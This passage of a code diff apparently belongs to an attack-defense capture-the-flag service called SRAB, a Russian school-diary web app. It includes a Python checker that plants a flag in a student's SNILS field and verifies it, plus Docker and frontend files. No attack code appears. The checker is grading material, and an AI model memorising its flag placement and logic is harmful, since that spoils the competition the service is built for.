f"connection reset: {exc}",
) from exc
raise CheckerError(
service_mumble,
f"network error: {exc}",
) from exc
except http.client.HTTPException as exc:
raise CheckerError(
service_mumble,
f"http error: {exc}",
) from exc
finally:
try:
conn.close()
except Exception:
pass
def make_seed(flag_id, flag):
digest = hashlib.sha256(f"{flag_id}:{flag}".encode("utf-8")).digest()
return int.from_bytes(digest, "big")
def token(rng, length):
alphabet = string.ascii_uppercase + string.digits
return "".join(rng.choice(alphabet) for _ in range(length))
def numeric(rng, length):
return "".join(rng.choice(string.digits) for _ in range(length))
def build_teacher(rng):
suffix = token(rng, 5)
first = rng.choice(TEACHER_FIRST_NAMES) + suffix
last = rng.choice(TEACHER_LAST_NAMES) + suffix
middle = rng.choice(TEACHER_MIDDLE_NAMES) + suffix
education = rng.choice(TEACHER_EDUCATIONS)
password = rng.choice(PASSWORD_WORDS) + token(rng, 5) + numeric(rng, 2)
username = f"{first}.{last}"
return {
"first": first,
"last": last,
"middle": middle,
"education": education,
"password": password,
"username": username,
}
def build_student(rng, flagged, flag):
suffix = token(rng, 3)
first = rng.choice(STUDENT_FIRST_NAMES) + suffix
last = rng.choice(STUDENT_LAST_NAMES) + suffix
middle = rng.choice(STUDENT_MIDDLE_NAMES) + suffix
password = rng.choice(PASSWORD_WORDS) + suffix + numeric(rng, 2)
snils = flag if flagged else numeric(rng, 11)
passport = "P" + numeric(rng, 8)
username = f"{first}.{last}"
return {
"first": first,
"last": last,
"middle": middle,
"password": password,
"snils": snils,
"passport": passport,
"username": username,
"is_flagged": flagged,
}
def build_lesson(rng, class_index, lesson_index):
base_day = 1 + class_index * 4 + lesson_index
day = 1 + base_day % 27
date = f"2025-09-{day:02d}"
topic = rng.choice(LESSON_TOPICS) + " " + token(rng, 2)
homework = rng.choice(HOMEWORK_PHRASES).format(token=token(rng, 3))
return {
"date": date,
"title": topic,
"homework": homework,
}
def generate_plan(flag_id, flag):
rng = random.Random(make_seed(flag_id, flag))
teacher = build_teacher(rng)
class_count = 1 + rng.randint(0, 2)
class_specs = []
total_students = 0
for _ in range(class_count):
student_count = 1 + rng.randint(0, 2)
lesson_count = 2 + rng.randint(0, 1)
class_specs.append(
{
"number": rng.randint(1, 11),
"letter": rng.choice(CLASS_LETTERS),
"student_count": student_count,
"lesson_count": lesson_count,
}
)
total_students += student_count
flagged_index = rng.randrange(total_students)
current_index = 0
classes = []
for class_idx, spec in enumerate(class_specs):
students = []
for _ in range(spec["student_count"]):
is_flagged = current_index == flagged_index
students.append(build_student(rng, is_flagged, flag))
current_index += 1
lessons = [
build_lesson(rng, class_idx, li)
for li in range(spec["lesson_count"])
]
classes.append(
{
"number": spec["number"],
"letter": spec["letter"],
"students": students,
"lessons": lessons,
}
)
return {
"teacher": teacher,
"classes": classes,
"flag": flag,
}
def all_students(plan):
for class_spec in plan["classes"]:
for student in class_spec["students"]:
yield student
def make_auth_header(teacher):
return {
"Authorization": (
f"Basic {teacher['username']} {teacher['password']}".encode(
"utf-8"
)
),
}
def parse_json_payload(text, context):
try:
return json.loads(text) if text else {}
except json.JSONDecodeError as exc:
raise CheckerError(
service_corrupt,
f"invalid json in {context}: {exc}",
) from exc
def login_teacher(client, teacher):
payload = {
K_USERNAME: teacher["username"],
K_PASSWORD: teacher["password"],
}
status, body, _ = client.request(
"POST",
"/api/users/login",
json_body=payload,
)
body_text = body.strip()
if status == 200 and body_text == LOGIN_SUCCESS:
return True
if status == 401:
return False
raise CheckerError(
service_corrupt,
f"unexpected login status {status} body={body_text!r}",
)
def ensure_teacher(client, plan):
teacher = plan["teacher"]
if login_teacher(client, teacher):
return make_auth_header(teacher)
payload = {
K_FIRST_NAME: teacher["first"],
K_LAST_NAME: teacher["last"],
K_MIDDLE_NAME: teacher["middle"],
K_EDUCATION: teacher["education"],
K_PASSWORD: teacher["password"],
K_CONFIRM_PASSWORD: teacher["password"],
}
status, _, _ = client.request("POST", "/api/users", json_body=payload)
if status != 201:
raise CheckerError(
service_corrupt,
f"teacher create failed with status {status}",
)
if not login_teacher(client, teacher):
raise CheckerError(
service_corrupt,
"teacher login failed after registration",
)
return make_auth_header(teacher)
def fetch_classes(client, auth):
status, body, _ = client.request("GET", "/api/classes", headers=auth)
if status != 200:
raise CheckerError(
service_corrupt,
f"unexpected classes status {status}",
)
data = parse_json_payload(body, "classes list")
classes = data.get(K_CLASSES, [])
if not isinstance(classes, list):
raise CheckerError(service_corrupt, "classes payload malformed")
return classes
def find_class(classes, number, letter):
for entry in classes:
if (
isinstance(entry, dict)
and entry.get(K_CLASS_NUMBER) == number
and entry.get(K_CLASS_LETTER) == letter
):
return entry
return None
def ensure_classes(client, plan, auth):
classes_payload = fetch_classes(client, auth)
for class_spec in plan["classes"]:
existing = find_class(
classes_payload,
class_spec["number"],
class_spec["letter"],
)
if existing is None:
payload = {
K_CLASS_NUMBER: class_spec["number"],
K_CLASS_LETTER: class_spec["letter"],
}
status, body, _ = client.request(
"POST",
"/api/classes",
json_body=payload,
headers=auth,
)
if status != 201:
raise CheckerError(
service_corrupt,
f"class create failed with status {status}",
)
created = parse_json_payload(body, "class create")
classes_payload.append(created)
class_spec["id"] = int(created.get(K_IDENTIFIER))
else:
class_spec["id"] = int(existing.get(K_IDENTIFIER))
def fetch_students(client, auth):
status, body, _ = client.request("GET", "/api/students", headers=auth)
if status != 200:
raise CheckerError(
service_corrupt,
f"unexpected students status {status}",
)
data = parse_json_payload(body, "students list")
students = data.get("\u0443\u0447\u0435\u043d\u0438\u043a\u0438", [])
if not isinstance(students, list):
raise CheckerError(service_corrupt, "students payload malformed")
return students
def ensure_students(client, plan, auth):
student_specs = list(all_students(plan))
if not student_specs:
return
students_payload = fetch_students(client, auth)
snils_map = {
entry.get(K_SNILS): entry
for entry in students_payload
if isinstance(entry, dict)
}
missing = [
spec
for spec in student_specs
if spec["snils"] not in snils_map
]
for spec in missing:
payload = {
K_FIRST_NAME: spec["first"],
K_LAST_NAME: spec["last"],
K_MIDDLE_NAME: spec["middle"],
K_PASSWORD: spec["password"],
K_CONFIRM_PASSWORD: spec["password"],
K_SNILS: spec["snils"],
K_PASSPORT: spec["passport"],
}
status, _, _ = client.request(
"POST",
"/api/students",
json_body=payload,
headers=auth,
)
if status != 201:
raise CheckerError(
service_corrupt,
f"student create failed with status {status}",
)
if missing:
students_payload = fetch_students(client, auth)
snils_map = {
entry.get(K_SNILS): entry
for entry in students_payload
if isinstance(entry, dict)
}
for spec in student_specs:
entry = snils_map.get(spec["snils"])
if entry is None:
raise CheckerError(
service_corrupt,
"student missing after creation",
)
spec["id"] = int(entry.get(K_IDENTIFIER))
def add_students_to_classes(client, plan, auth):
for class_spec in plan["classes"]:
class_id = class_spec.get("id")
if class_id is None:
raise CheckerError(
service_corrupt,
"class id missing during assignment",
)
for student in class_spec["students"]:
student_id = student.get("id")
if student_id is None:
raise CheckerError(
service_corrupt,
"student id missing during assignment",
)
path = f"/api/classes/{class_id}/students/{student_id}"
status, _, _ = client.request("POST", path, headers=auth)
if status not in (201, 422):
raise CheckerError(
service_corrupt,
f"assignment failed with status {status}",
)
def fetch_lessons(client, auth, class_id):
path = f"/api/classes/{class_id}/lessons"
status, body, _ = client.request("GET", path, headers=auth)
if status != 200:
raise CheckerError(
service_corrupt,
f"unexpected lessons status {status}",
)
data = parse_json_payload(body, "lessons list")
lessons = data.get(K_LESSONS, [])
if not isinstance(lessons, list):
raise CheckerError(service_corrupt, "lessons payload malformed")
return lessons
def match_lesson(entry, lesson_spec):
return (
isinstance(entry, dict)
and entry.get(K_LESSON_DATE) == lesson_spec["date"]
and entry.get(K_LESSON_TITLE) == lesson_spec["title"]
)
def ensure_lessons(client, plan, auth):
for class_spec in plan["classes"]:
class_id = class_spec.get("id")
if class_id is None:
raise CheckerError(service_corrupt, "class id missing for lessons")
lessons_payload = fetch_lessons(client, auth, class_id)
for lesson_spec in class_spec["lessons"]:
existing = None
for entry in lessons_payload:
if match_lesson(entry, lesson_spec):
existing = entry
break
if existing is None:
payload = {
K_LESSON_DATE: lesson_spec["date"],
K_LESSON_TITLE: lesson_spec["title"],
K_LESSON_HOMEWORK: lesson_spec["homework"],
}
status, body, _ = client.request(
"POST",
f"/api/classes/{class_id}/lessons",
json_body=payload,
headers=auth,
)
if status != 201:
raise CheckerError(
service_corrupt,
f"lesson create failed with status {status}",
)
created = parse_json_payload(body, "lesson create")
lessons_payload.append(created)
def perform_put(client, plan):
auth = ensure_teacher(client, plan)
ensure_classes(client, plan, auth)
ensure_students(client, plan, auth)
add_students_to_classes(client, plan, auth)
ensure_lessons(client, plan, auth)
def verify_classes(client, plan, auth):
classes_payload = fetch_classes(client, auth)
for class_spec in plan["classes"]:
entry = find_class(
classes_payload,
class_spec["number"],
class_spec["letter"],
)
if entry is None:
raise CheckerError(service_corrupt, "expected class missing")
class_spec["id"] = int(entry.get(K_IDENTIFIER))
lessons_payload = fetch_lessons(client, auth, class_spec["id"])
for lesson_spec in class_spec["lessons"]:
if not any(
match_lesson(item, lesson_spec)
for item in lessons_payload
):
raise CheckerError(service_corrupt, "expected lesson missing")
def verify_students(client, plan, auth):
students_payload = fetch_students(client, auth)
snils_map = {
entry.get(K_SNILS): entry
for entry in students_payload
if isinstance(entry, dict)
}
for student in all_students(plan):
entry = snils_map.get(student["snils"])
if entry is None:
raise CheckerError(service_corrupt, "expected student missing")
if entry.get(K_FIRST_NAME) != student["first"]:
raise CheckerError(service_corrupt, "student first name mismatch")
if entry.get(K_LAST_NAME) != student["last"]:
raise CheckerError(service_corrupt, "student last name mismatch")
if entry.get(K_MIDDLE_NAME) != student["middle"]:
raise CheckerError(service_corrupt, "student middle name mismatch")
if entry.get(K_PASSPORT) != student["passport"]:
raise CheckerError(service_corrupt, "student passport mismatch")
if entry.get(K_USERNAME) != student["username"]:
raise CheckerError(service_corrupt, "student username mismatch")
if student["is_flagged"] and entry.get(K_SNILS) != plan["flag"]:
raise CheckerError(service_corrupt, "flag storage mismatch")
def perform_check(client, plan):
teacher = plan["teacher"]
if not login_teacher(client, teacher):
raise CheckerError(service_corrupt, "teacher credentials rejected")
auth = make_auth_header(teacher)
verify_classes(client, plan, auth)
verify_students(client, plan, auth)
if len(sys.argv) != 5:
print(
f"\nUsage:\n\t{sys.argv[0]} <host> (put|check) <flag_id> <flag>\n",
file=sys.stderr,
)
exit(1)
def main():
host = sys.argv[1]
command = sys.argv[2]
flag_id = sys.argv[3]
flag = sys.argv[4]
plan = generate_plan(flag_id, flag)
client = ApiClient(host)
try:
if command == "put":
perform_put(client, plan)
perform_check(client, plan)
service_up()
elif command == "check":
perform_check(client, plan)
service_up()
else:
raise CheckerError(service_corrupt, f"unknown command {command!r}")
except CheckerError as err:
debug(f"failure: {err}")
debug(traceback.format_exc())
err.verdict()
except Exception as exc:
debug(f"unexpected error: {exc}")
debug(traceback.format_exc())
service_mumble()
if __name__ == "__main__":
main()

8
docker-compose.yml Normal file
View File

@@ -0,0 +1,8 @@
services:
srab:
build: .
tty: true
ports:
- "1337:1337"
volumes:
- ./var:/app/var

36
frontend/app.js Normal file
View File

@@ -0,0 +1,36 @@
import { routerNavigate, route } from "./router.js";
import {
loadSession,
clearSession,
setTopUser,
setLogoutVisible,
} from "./utils.js";
import "./views/auth.js";
import "./views/teacher.js";
import "./views/student.js";
route("/404", async ({ view }) => {
const card = document.createElement("div");
card.className = "card";
card.innerHTML = `<div class="card-header">Страница не найдена</div><div class="card-body">Нет такой страницы</div>`;
view.appendChild(card);
});
function initTop() {
const s = loadSession();
if (s) {
setTopUser(s.username);
setLogoutVisible(true);
}
document.getElementById("btn-logout").addEventListener("click", () => {
clearSession();
setTopUser("");
setLogoutVisible(false);
location.hash = "#/auth/login";
});
}
window.addEventListener("DOMContentLoaded", () => {
initTop();
routerNavigate();
});

53
frontend/index.html Normal file
View File

@@ -0,0 +1,53 @@
<!DOCTYPE html>
<html lang="ru">
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title>Электронная школа — SRAB</title>
<link rel="icon" type="image/jpeg" href="srab.jpg" />
<link rel="apple-touch-icon" href="srab.jpg" />
<link rel="stylesheet" href="styles.css" />
</head>
<body>
<div id="app">
<header class="topbar">
<div class="brand">
<span class="logo">
<img src="srab.jpg" width="50" />
</span>
<span>Электронная Школа</span>
</div>
<div class="top-actions">
<div
class="avg"
id="top-avg"
title="Средний балл (по выбранному)"
></div>
<div class="user" id="top-user"></div>
<button id="btn-logout" class="linklike" hidden>Выйти</button>
</div>
</header>
<div class="layout">
<nav class="sidebar">
<div class="menu-title">Меню</div>
<ul id="menu">
<li><a href="#/dashboard">Дневник</a></li>
<li><a href="#/schedule">Расписание</a></li>
<li><a href="#/grades">Оценки</a></li>
<li><a href="#/school">Школа</a></li>
<li><a href="#/homework">Домашнее задание</a></li>
<li><a href="#/portfolio">Портфолио</a></li>
<li class="sep"></li>
<li><a href="#/auth/login">Войти</a></li>
<li><a href="#/auth/register">Регистрация учителя</a></li>
</ul>
</nav>
<main id="view" class="content"></main>
</div>
</div>
<script type="module" src="app.js"></script>
</body>
</html>

140
frontend/kek.js Normal file
View File

@@ -0,0 +1,140 @@
const API_BASE = (localStorage.getItem("srab.apiBase") || "").replace(
/\/$/,
""
);
function buildAuthHeader(session) {
if (!session || !session.username || !session.password) return {};
return { Authorization: `Basic ${session.username} ${session.password}` };
}
async function apiFetch(
path,
{ method = "GET", body, session, headers = {} } = {}
) {
const url = `${API_BASE}${path}`;
const h = {
"Content-Type": "application/json",
...buildAuthHeader(session),
...headers,
};
const opts = { method, headers: h };
if (body !== undefined)
opts.body = typeof body === "string" ? body : JSON.stringify(body);
const res = await fetch(url, opts);
let data = null;
const ct = res.headers.get("content-type") || "";
data = await res.text();
try {
data = JSON.parse(data);
} catch (e) {}
if (!res.ok) {
const err = new Error(
(data && (data.message || data.error)) || `HTTP ${res.status}`
);
err.status = res.status;
err.data = data;
throw err;
}
return { status: res.status, data };
}
export const Api = {
base: API_BASE,
setBase(url) {
localStorage.setItem("srab.apiBase", url);
},
async login({ username, password }) {
const session = { username, password };
const { data } = await apiFetch("/api/users/login", {
method: "POST",
session,
body: { "имя пользователя": username, пароль: password },
});
return { session, message: data };
},
async registerTeacher(payload) {
return apiFetch("/api/users", { method: "POST", body: payload });
},
async changePassword(session, newPassword) {
return apiFetch("/api/users/password", {
method: "PUT",
session,
body: { "новый пароль": newPassword },
});
},
async listTeachers(session, page) {
return apiFetch(
`/api/teachers${page ? `?страница=${encodeURIComponent(page)}` : ""}`,
{ session }
);
},
async createStudent(session, payload) {
return apiFetch("/api/students", {
method: "POST",
session,
body: payload,
});
},
async listStudents(session, teacherId) {
const q = teacherId ? `?учитель=${encodeURIComponent(teacherId)}` : "";
return apiFetch(`/api/students${q}`, { session });
},
async getStudent(session, id) {
return apiFetch(`/api/students/${id}`, { session });
},
async deleteStudent(session, id) {
return apiFetch(`/api/students/${id}`, { method: "DELETE", session });
},
async listClasses(session, teacherId) {
const q = teacherId ? `?учитель=${encodeURIComponent(teacherId)}` : "";
return apiFetch(`/api/classes${q}`, { session });
},
async createClass(session, payload) {
return apiFetch("/api/classes", { method: "POST", session, body: payload });
},
async deleteClass(session, classId) {
return apiFetch(`/api/classes/${classId}`, { method: "DELETE", session });
},
async addStudentToClass(session, classId, studentId) {
return apiFetch(`/api/classes/${classId}/students/${studentId}`, {
method: "POST",
session,
});
},
async removeStudentFromClass(session, classId, studentId) {
return apiFetch(`/api/classes/${classId}/students/${studentId}`, {
method: "DELETE",
session,
});
},
async createLesson(session, classId, payload) {
return apiFetch(`/api/classes/${classId}/lessons`, {
method: "POST",
session,
body: payload,
});
},
async listLessons(session, classId, date) {
const q = date ? `?date=${encodeURIComponent(date)}` : "";
return apiFetch(`/api/classes/${classId}/lessons${q}`, { session });
},
async listLessonsByDate(session, classId, date) {
return apiFetch(`/api/classes/${classId}/lessons/date/${date}`, {
session,
});
},
async deleteLessonById(session, classId, lessonId) {
return apiFetch(`/api/classes/${classId}/lessons/${lessonId}`, {
method: "DELETE",
session,
});
},
};

23
frontend/router.js Normal file
View File

@@ -0,0 +1,23 @@
const routes = {};
export function route(path, handler) {
routes[path] = handler;
}
function parseHash() {
const h = location.hash.replace(/^#/, "");
const parts = h.split("?");
const path = parts[0] || "/dashboard";
const search = new URLSearchParams(parts[1] || "");
return { path, search };
}
export async function routerNavigate() {
const { path, search } = parseHash();
const view = document.getElementById("view");
const handler = routes[path] || routes["/404"];
view.innerHTML = "";
await handler({ view, search });
window.scrollTo(0, 0);
}
window.addEventListener("hashchange", routerNavigate);

BIN
frontend/srab.jpg Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 166 KiB

236
frontend/styles.css Normal file
View File

@@ -0,0 +1,236 @@
:root {
--bg: #f6f1df;
--accent: #d6b87a;
--accent-strong: #c39a3a;
--text: #3a3a3a;
--muted: #8a8a8a;
--panel: #fffaf0;
--border: #e0d7c4;
--ok: #3aa76d;
--warn: #c97c2a;
--danger: #c43e3e;
}
* {
box-sizing: border-box;
}
html,
body {
height: 100%;
}
body {
margin: 0;
font-family: system-ui, -apple-system, Segoe UI, Roboto, Ubuntu, Cantarell,
"Noto Sans", sans-serif;
background: var(--bg);
color: var(--text);
}
.topbar {
display: flex;
align-items: center;
justify-content: space-between;
padding: 8px 16px;
background: var(--accent);
color: #fff;
border-bottom: 2px solid var(--accent-strong);
}
.topbar .brand {
display: flex;
align-items: center;
gap: 10px;
font-weight: 600;
}
.topbar .logo {
filter: grayscale(20%);
}
.topbar .top-actions {
display: flex;
align-items: center;
gap: 16px;
}
.topbar .linklike {
background: none;
border: none;
color: #fff;
cursor: pointer;
text-decoration: underline;
}
.layout {
display: grid;
grid-template-columns: 240px 1fr;
min-height: calc(100vh - 44px);
}
.sidebar {
background: var(--panel);
border-right: 1px solid var(--border);
padding: 10px 0;
}
.sidebar .menu-title {
padding: 10px 16px;
color: var(--muted);
text-transform: uppercase;
font-size: 12px;
}
.sidebar ul {
list-style: none;
margin: 0;
padding: 0;
}
.sidebar li {
border-top: 1px solid var(--border);
}
.sidebar li.sep {
height: 10px;
border: none;
}
.sidebar a {
display: block;
padding: 12px 16px;
color: var(--text);
text-decoration: none;
}
.sidebar a:hover {
background: #fff;
}
.content {
padding: 16px;
}
.card {
background: #fff;
border: 1px solid var(--border);
border-radius: 6px;
box-shadow: 0 1px 0 rgba(0, 0, 0, 0.03);
}
.card .card-header {
padding: 12px 16px;
border-bottom: 1px solid var(--border);
background: #fffdf7;
font-weight: 600;
}
.card .card-body {
padding: 16px;
}
.form-grid {
display: grid;
grid-template-columns: repeat(auto-fit, minmax(220px, 1fr));
gap: 12px;
}
.input {
display: flex;
flex-direction: column;
gap: 6px;
}
.input label {
color: var(--muted);
font-size: 12px;
}
.input input,
.input select,
.input textarea {
padding: 10px;
border: 1px solid var(--border);
border-radius: 6px;
background: #fff;
}
.actions {
display: flex;
gap: 8px;
margin-top: 12px;
}
.btn {
background: var(--accent-strong);
color: #fff;
border: none;
border-radius: 6px;
padding: 10px 14px;
cursor: pointer;
}
.btn.secondary {
background: #8b8b8b;
}
.btn.danger {
background: var(--danger);
}
.table {
width: 100%;
border-collapse: collapse;
}
.table th,
.table td {
padding: 10px;
border-bottom: 1px solid var(--border);
text-align: left;
}
.table th {
background: #fffdf7;
color: var(--muted);
font-weight: 600;
font-size: 13px;
}
.badge {
display: inline-block;
padding: 2px 6px;
border-radius: 10px;
font-size: 12px;
background: #eee;
}
.badge.ok {
background: #e6f6ed;
color: var(--ok);
}
.badge.warn {
background: #fff1e3;
color: var(--warn);
}
.notice {
padding: 10px 14px;
border: 1px solid var(--border);
border-radius: 6px;
background: #fffbe6;
}
.error {
padding: 10px 14px;
border: 1px solid var(--danger);
border-radius: 6px;
background: #fff0f0;
color: var(--danger);
}
.tabs {
display: flex;
gap: 8px;
border-bottom: 1px solid var(--border);
margin-bottom: 12px;
}
.tabs a {
padding: 8px 12px;
text-decoration: none;
color: var(--text);
border: 1px solid transparent;
border-radius: 6px 6px 0 0;
}
.tabs a.active {
background: #fff;
border-color: var(--border);
border-bottom-color: #fff;
}
.small {
font-size: 12px;
color: var(--muted);
}
.grid-two {
display: grid;
grid-template-columns: 360px 1fr;
gap: 16px;
}
.hidden {
display: none !important;
}
.center {
text-align: center;
}

112
frontend/utils.js Normal file
View File

@@ -0,0 +1,112 @@
export const $ = (sel, root = document) => root.querySelector(sel);
export const $$ = (sel, root = document) =>
Array.from(root.querySelectorAll(sel));
export function el(tag, attrs = {}, children = []) {
const node = document.createElement(tag);
Object.entries(attrs).forEach(([k, v]) => {
if (k === "class") node.className = v;
else if (k.startsWith("on") && typeof v === "function")
node.addEventListener(k.slice(2), v);
else if (v !== undefined && v !== null) node.setAttribute(k, v);
});
for (const ch of Array.isArray(children) ? children : [children]) {
if (typeof ch === "string") node.appendChild(document.createTextNode(ch));
else if (ch) node.appendChild(ch);
}
return node;
}
export function formToJSON(form) {
const data = {};
const coerceNumberIfNeeded = (key, value) => {
const field = form.elements.namedItem(key);
let isNumber = false;
let integerOnly = false;
const inspect = (el) => {
if (!el) return;
if (el.getAttribute && el.getAttribute("data-type") === "number") {
isNumber = true;
}
if (el.getAttribute && el.getAttribute("data-integer") === "true") {
isNumber = true;
integerOnly = true;
}
if (el.tagName === "INPUT") {
const type = (el.type || "").toLowerCase();
if (type === "number") {
isNumber = true;
const step = el.step;
if (
step &&
(step === "1" || (!step.includes(".") && step !== "any"))
) {
integerOnly = true;
}
}
}
};
if (
field &&
typeof RadioNodeList !== "undefined" &&
field instanceof RadioNodeList
) {
inspect(field[0]);
} else {
inspect(field);
}
if (isNumber) {
if (value === "" || value === null) return null;
const n = Number(value);
if (Number.isNaN(n)) return null;
return integerOnly ? Math.trunc(n) : n;
}
return value;
};
new FormData(form).forEach((v, k) => {
const val = coerceNumberIfNeeded(k, v);
if (data[k] !== undefined) {
if (!Array.isArray(data[k])) data[k] = [data[k]];
data[k].push(val);
} else data[k] = val;
});
return data;
}
export function saveSession(session) {
localStorage.setItem("srab.session", JSON.stringify(session));
}
export function loadSession() {
try {
return JSON.parse(localStorage.getItem("srab.session")) || null;
} catch {
return null;
}
}
export function clearSession() {
localStorage.removeItem("srab.session");
}
export function setTopUser(text) {
$("#top-user").textContent = text || "";
}
export function setLogoutVisible(vis) {
$("#btn-logout").hidden = !vis;
}
export function setAvg(text) {
const n = $("#top-avg");
n.textContent = text || "";
n.className = "avg badge ok";
}
export function fmtDateInput(d = new Date()) {
const yyyy = d.getFullYear();
const mm = String(d.getMonth() + 1).padStart(2, "0");
const dd = String(d.getDate()).padStart(2, "0");
return `${yyyy}-${mm}-${dd}`;
}

86
frontend/views/auth.js Normal file
View File

@@ -0,0 +1,86 @@
import { route } from "../router.js";
import { Api } from "../kek.js";
import {
saveSession,
setTopUser,
setLogoutVisible,
formToJSON,
} from "../utils.js";
function loginView() {
const card = document.createElement("div");
card.className = "card";
card.innerHTML = `
<div class="card-header">Вход</div>
<div class="card-body">
<form id="login-form" class="form-grid" autocomplete="on">
<div class="input"><label>Имя пользователя</label><input name="username" required /></div>
<div class="input"><label>Пароль</label><input name="password" type="password" required /></div>
<div class="actions">
<button class="btn" type="submit">Войти</button>
<a class="btn secondary" href="#/auth/register">Регистрация учителя</a>
</div>
<div id="login-error" class="error hidden"></div>
</form>
</div>`;
const form = card.querySelector("#login-form");
form.addEventListener("submit", async (e) => {
e.preventDefault();
const { username, password } = Object.fromEntries(new FormData(form));
try {
const { session } = await Api.login({ username, password });
saveSession(session);
setTopUser(username);
setLogoutVisible(true);
location.hash = "#/dashboard";
} catch (err) {
const box = card.querySelector("#login-error");
box.classList.remove("hidden");
box.textContent = err.message || "Не удалось войти";
}
});
return card;
}
function registerView() {
const card = document.createElement("div");
card.className = "card";
card.innerHTML = `
<div class="card-header">Регистрация учителя</div>
<div class="card-body">
<form id="reg-form" class="form-grid">
<div class="input"><label>Имя</label><input name="имя" required></div>
<div class="input"><label>Фамилия</label><input name="фамилия" required></div>
<div class="input"><label>Отчество</label><input name="отчество" required></div>
<div class="input"><label>Образование</label><input name="образование" required></div>
<div class="input"><label>Пароль</label><input type="password" name="пароль" required></div>
<div class="input"><label>Повтор пароля</label><input type="password" name="повтор пароля" required></div>
<div class="actions"><button class="btn" type="submit">Создать</button></div>
<div id="reg-msg" class="notice hidden"></div>
<div id="reg-err" class="error hidden"></div>
</form>
</div>`;
card.querySelector("#reg-form").addEventListener("submit", async (e) => {
e.preventDefault();
const payload = formToJSON(e.target);
try {
await Api.registerTeacher(payload);
const msg = card.querySelector("#reg-msg");
msg.classList.remove("hidden");
msg.textContent = "Учитель создан. Теперь можно войти.";
card.querySelector("#reg-err").classList.add("hidden");
} catch (err) {
const errBox = card.querySelector("#reg-err");
errBox.classList.remove("hidden");
errBox.textContent = err.message || "Ошибка регистрации";
}
});
return card;
}
route("/auth/login", async ({ view }) => {
view.appendChild(loginView());
});
route("/auth/register", async ({ view }) => {
view.appendChild(registerView());
});

98
frontend/views/student.js Normal file
View File

@@ -0,0 +1,98 @@
import { route } from "../router.js";
import { Api } from "../kek.js";
import { el, $, loadSession } from "../utils.js";
function needSession() {
const s = loadSession();
if (!s) location.hash = "#/auth/login";
return s;
}
function studentDashboard(session) {
const card = el("div", { class: "card" }, [
el("div", { class: "card-header" }, "Дневник ученика"),
el("div", { class: "card-body" }, [
(() => {
const box = el("div", { class: "form-grid" });
box.innerHTML = `
<div class="input"><label>ID класса</label><input id="st-class-id" type="number" min="1"></div>
<div class="input"><label>Дата</label><input id="st-date" type="date"></div>
<div class="actions" style="align-self:end"><button id="st-load" class="btn" type="button">Показать</button></div>`;
return box;
})(),
el("table", { class: "table", id: "st-lessons" }, [
el(
"thead",
{},
el("tr", {}, [
el("th", {}, "Дата"),
el("th", {}, "Предмет/тема"),
el("th", {}, "Домашнее задание"),
])
),
el("tbody"),
]),
]),
]);
async function refresh() {
const classId = Number($("#st-class-id", card)?.value || 0);
const date = $("#st-date", card)?.value || undefined;
if (!classId) return;
const { data } = await Api.listLessons(session, classId, date);
const tbody = card.querySelector("tbody");
tbody.innerHTML = "";
for (const l of data?.["уроки"] || []) {
const tr = el("tr");
tr.appendChild(el("td", {}, l["дата"] || ""));
tr.appendChild(el("td", {}, l["название"] || ""));
tr.appendChild(el("td", {}, l["домашнее задание"] || ""));
tbody.appendChild(tr);
}
}
card.querySelector("#st-load")?.addEventListener("click", refresh);
return card;
}
function changePasswordView(session) {
const card = el("div", { class: "card" }, [
el("div", { class: "card-header" }, "Смена пароля"),
el("div", { class: "card-body" }, [
(() => {
const form = el("form", { class: "form-grid" });
form.innerHTML = `
<div class="input"><label>Новый пароль</label><input name="password" type="password" required></div>
<div class="actions"><button class="btn">Изменить</button></div>
<div id="pw-msg" class="notice hidden"></div>
<div id="pw-err" class="error hidden"></div>`;
form.addEventListener("submit", async (e) => {
e.preventDefault();
const newPassword = new FormData(form).get("password");
try {
await Api.changePassword(session, newPassword);
const msg = form.querySelector("#pw-msg");
msg.classList.remove("hidden");
msg.textContent = "Пароль изменён";
form.querySelector("#pw-err").classList.add("hidden");
} catch (err) {
const box = form.querySelector("#pw-err");
box.classList.remove("hidden");
box.textContent = err.message || "Не удалось изменить пароль";
}
});
return form;
})(),
]),
]);
return card;
}
route("/student/dashboard", async ({ view }) => {
const s = needSession();
view.appendChild(studentDashboard(s));
});
route("/student/password", async ({ view }) => {
const s = needSession();
view.appendChild(changePasswordView(s));
});

406
frontend/views/teacher.js Normal file
View File

@@ -0,0 +1,406 @@
import { route } from "../router.js";
import { Api } from "../kek.js";
import { el, formToJSON, $, fmtDateInput, loadSession } from "../utils.js";
function needSession() {
const s = loadSession();
if (!s) location.hash = "#/auth/login";
return s;
}
function sectionTabs(active) {
const tabs = document.createElement("div");
tabs.className = "tabs";
const items = [
["#/dashboard", "Сводная"],
["#/teacher/classes", "Классы"],
["#/teacher/students", "Ученики"],
["#/teacher/lessons", "Уроки"],
];
for (const [href, title] of items) {
const a = document.createElement("a");
a.href = href;
a.textContent = title;
if (href.endsWith(active)) a.classList.add("active");
tabs.appendChild(a);
}
return tabs;
}
function classesView(session) {
const wrap = el("div", { class: "grid-two" });
const formCard = el("div", { class: "card" }, [
el("div", { class: "card-header" }, "Создать класс"),
el("div", { class: "card-body" }, [
(() => {
const form = el("form", { class: "form-grid" });
form.innerHTML = `
<div class="input"><label>Номер</label><input name="номер" type="number" required min="1" max="11"></div>
<div class="input"><label>Буква</label><input name="буква" maxlength="2" required></div>
<div class="actions"><button class="btn">Создать</button></div>
<div class="small">Ограничение: однобуквенное обозначение параллели.</div>
<div id="cls-err" class="error hidden"></div>`;
form.addEventListener("submit", async (e) => {
e.preventDefault();
const payload = formToJSON(form);
try {
await Api.createClass(session, payload);
await refresh();
form.reset();
} catch (err) {
const box = form.querySelector("#cls-err");
box.classList.remove("hidden");
box.textContent = err.message || "Ошибка создания класса";
}
});
return form;
})(),
]),
]);
const listCard = el("div", { class: "card" }, [
el("div", { class: "card-header" }, "Ваши классы"),
el("div", { class: "card-body" }, [
(() => {
const box = el("div", {
class: "form-grid",
style: "margin-bottom:8px",
});
box.innerHTML = `
<div class="input"><label>ID ученика (для добавления/удаления)</label><input id="st-to-add" type="number" min="1"></div>
<div class="small">Выберите класс в таблице и используйте кнопки «Добавить ученика»/«Убрать ученика»</div>`;
return box;
})(),
el("table", { class: "table", id: "class-table" }, [
el(
"thead",
{},
el("tr", {}, [
el("th", {}, "ID"),
el("th", {}, "Класс"),
el("th", {}, "Создатель"),
el("th", {}, ""),
])
),
el("tbody"),
]),
]),
]);
wrap.appendChild(formCard);
wrap.appendChild(listCard);
async function refresh() {
